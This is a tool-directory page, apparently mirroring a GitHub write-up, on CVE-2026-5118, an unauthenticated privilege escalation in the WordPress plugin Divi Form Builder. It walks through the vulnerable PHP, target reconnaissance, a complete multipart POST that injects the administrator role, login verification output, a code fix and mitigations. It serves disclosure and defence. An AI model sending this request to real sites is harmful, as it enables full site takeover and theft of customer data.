Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-5118 — CVE-2026-5118 | Divi Form Builder <= 5.1.2 | 未認証のロールインジェクションによる権限昇格 | Kitploit
ツール/GitHubGitHub/zycoder0day/cve-2026-5118
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubzycoder0day/cve-2026-5118

CVE-2026-5118

CVE-2026-5118 | Divi Form Builder <= 5.1.2 | 未認証のロールインジェクションによる権限昇格

リポジトリを見る
53ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🔥 CVE-2026-5118

Divi Form Builder <= 5.1.2 — 認証不要の権限昇格


🎯 概要

WordPressプラグイン Divi Form Builder バージョン 5.1.2以前 には、認証されていない攻撃者 が登録フォーム経由で直接 Administrator アカウントを作成できる Critical レベルの脆弱性が存在します。

1つの隠しフィールド。1つの値の改変。Webサイト全体への完全なアクセス。


🧨 攻撃者は何ができるのか?

攻撃能力影響
🔑 ログインなしで管理者アカウントを作成サイト完全乗っ取り (Full Site Takeover)
📦 WooCommerceの顧客データにアクセスデータ漏洩 (Data Breach)
💉 プラグイン/テーマファイル (PHP) を編集リモートコード実行 (Remote Code Execution)
🕳️ 隠しバックドアを作成永続的アクセス (Persistent Access)
👥 すべてのユーザーデータを閲覧プライバシー侵害 (Privacy Violation)

🔬 脆弱性の分析

脆弱性の箇所

root@kitploit:~
includes/shared/handlers/FormSubmissionHandler.php → create_user()

脆弱なコード

root@kitploit:~
// Baris ~1691: Ambil role dari input user (TANPA VALIDASI KEAMANAN)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Baris ~1702: Hanya cek APAKAH role ADA di sistem, BUKAN apakah role AMAN
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';
}

// Baris ~1745: Langsung terapkan role yang diinjeksi!
$user = new WP_User($user_id);
$user->set_role($role);  // ← "administrator" langsung diterapkan

なぜこの攻撃が成立するのか?

root@kitploit:~
                    ALUR VALIDASI YANG BERMASALAH
  ┌──────────────────────────────────────────────────────┐
  │  Penyerang kirim: role=administrator                │
  │                    ↓                                  │
  │  sanitize_text_field() → "administrator" (bersih)   │
  │                    ↓                                  │
  │  isset($roles_obj->roles["administrator"]) → TRUE   │ ← BUG! Hanya cek ADA/TIDAK
  │                    ↓                                  │
  │  $user->set_role("administrator") → ADMIN PENUH!    │ ← PRIVESC!
  └──────────────────────────────────────────────────────┘

  "administrator" ADALAH role yang valid di WordPress,
  jadi validasi isset() SELALU return true.
  Fungsi ini TIDAK PERNAH menolak role berbahaya.

攻撃ベクトル

DFB登録フォームにはhidden inputが含まれている:

root@kitploit:~
<!-- Nilai asli dari developer -->
<input class="df_hidden_user_role" type="hidden" name="role" value="customer">

<!-- Penyerang cukup ubah value-nya -->
<input class="df_hidden_user_role" type="hidden" name="role" value="administrator">

🛠️ 概念実証 — 攻撃チェーン

フェーズ1: 偵察 — ターゲットの発見

root@kitploit:~
[★] Target Discovery: Divi Form Builder indicator
    ├── Endpoint scan: 50+ path registrasi
    ├── Homepage link crawl: keyword priority
    ├── REST API: /wp-json/wp/v2/pages?search=register
    ├── Sitemap parsing: XML sitemap URLs
    ├── DFB REST API: /wp-json/divi-form-builder/v1
    ├── AJAX probe: de_fb_ajax_submit_ajax_handler
    ├── WooCommerce: /my-account/ sub-pages
    ├── robots.txt: custom sitemaps + disallow
    ├── Contact pages: DFB forms tersembunyi
    └── wp-json deep: content-first scan
    
[✓] Ditemukan: <input class="df_hidden_user_role" value="customer">
[✓] Versi plugin: v4.1.9 (VULNERABLE)
[✓] Form multi-step dengan reCAPTCHA v3

フェーズ2: フォームパラメータの抽出

root@kitploit:~
Parameter yang diperlukan:
  ├── fb_nonce:        [dari hidden input / de_fb_obj]
  ├── form_key:        [dari hidden input]
  ├── form_type:       register
  ├── divi-form-submit: yes
  └── role:            [INJEKSI: administrator]

Field pemetaan:
  ├── de_fb_user_login + user_login    (kedua varian wajib)
  ├── de_fb_user_email + user_email    
  ├── de_fb_user_pass  + user_pass     
  └── de_fb_pass_repeat               

フェーズ3: ロール注入 — 権限昇格

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest

------POC
Content-Disposition: form-data; name="action"

de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"

[nonce_dari_form]
------POC
Content-Disposition: form-data; name="role"

administrator
------POC
Content-Disposition: form-data; name="form_type"

register
------POC
Content-Disposition: form-data; name="divi-form-submit"

yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"

attacker1337
------POC
Content-Disposition: form-data; name="user_login"

attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"

[email protected]
------POC
Content-Disposition: form-data; name="user_email"

[email protected]
------POC--

フェーズ4: 検証 — 管理者アクセス

root@kitploit:~
[→] POST /wp-login.php
    user_login=attacker1337&user_pass=Str0ngP@ss!

[←] HTTP 302 → /wp-admin/

[✓] FULL ADMINISTRATOR ACCESS CONFIRMED
    ├── Dashboard: /wp-admin/
    ├── Users:     Can create/delete any user
    ├── Plugins:   Can install/activate/edit PHP
    ├── Themes:    Can edit template files → RCE
    └── Settings:  Full site control

🧪 ラボ検証

テストは分離されたDocker環境 (WordPress 6.5 + DFB v5.0.0) で実施されました:

root@kitploit:~
╔══════════════════════════════════════════════════════╗
║  LAB VERIFICATION RESULTS                              ║
╠══════════════════════════════════════════════════════╣
║  Method: AJAX (admin-ajax.php)                        ║
║  Role injected: administrator                          ║
║  Response: "Registration successful!"                  ║
║  Login: HTTP 302 → /wp-admin/ ✓                       ║
║  ─────────────────────────────────────────────────     ║
║  Method: Form POST (direct submission)                 ║
║  Role injected: administrator                          ║
║  Response: "Registration successful!"                  ║
║  Login: HTTP 302 → /wp-admin/ ✓                       ║
║  ─────────────────────────────────────────────────     ║
║  Status: ★ PWNED — Full Admin Access ★               ║
╚══════════════════════════════════════════════════════╝

🔧 推奨される修正

解決策: 登録ロールの許可リスト

root@kitploit:~
// SEBELUM (rentan):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';  // ← Hanya cek ADA, bukan AMAN
}

// SESUDAH (aman):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Hanya izinkan role yang aman untuk registrasi publik
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
    $role = 'subscriber';  // ← Tolak semua role berbahaya
}

追加の対策

  1. フロントエンドフォームから role パラメータを削除 — 既存の default_user_role を使用する
  2. AJAXハンドラに厳格なnonce検証を追加する
  3. 特別なロールには current_user_can('create_users') によるcapabilityチェックを追加する
  4. 登録エンドポイントにレート制限を実装し、ブルートフォースを防ぐ

📊 タイムライン

日付イベント
2026-04-13バージョン5.1.3がリリース (changelogに基づく修正の可能性)
2026-05-21分離されたラボで脆弱性が独立に検証された
2026-05-21Divi Engine Securityへ責任ある開示 (responsible disclosure) を送信

🛡️ 一時的な緩和策 (パッチ適用前)

  1. 利用可能であればバージョン5.1.3以降に更新する
  2. 修正が適用されるまでDFB登録フォームを無効化する
  3. WAFルールを使用して、POSTリクエスト内の role=administrator パラメータをブロックする
  4. wp_users テーブルを監視し、見覚えのない新しい管理者アカウントを検出する
  5. /wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handler へのアクセスを制限する

⚖️ 免責事項

この文書は教育および責任ある開示 (responsible disclosure) を目的として作成されました。すべてのエクスプロイトテストは分離された実験室環境で実施されました。実稼働中のターゲットに対しては、受動的検出のみが実施されました (フォームとパラメータの識別のみで、エクスプロイトデータの送信は行っていません)。

著者は、この文書の情報の悪用について一切責任を負いません。


CVE-2026-5118 • Divi Form Builder ≤ 5.1.2 • 認証不要の権限昇格
発見・検証日: 2026-05-21

ツールをダウンロード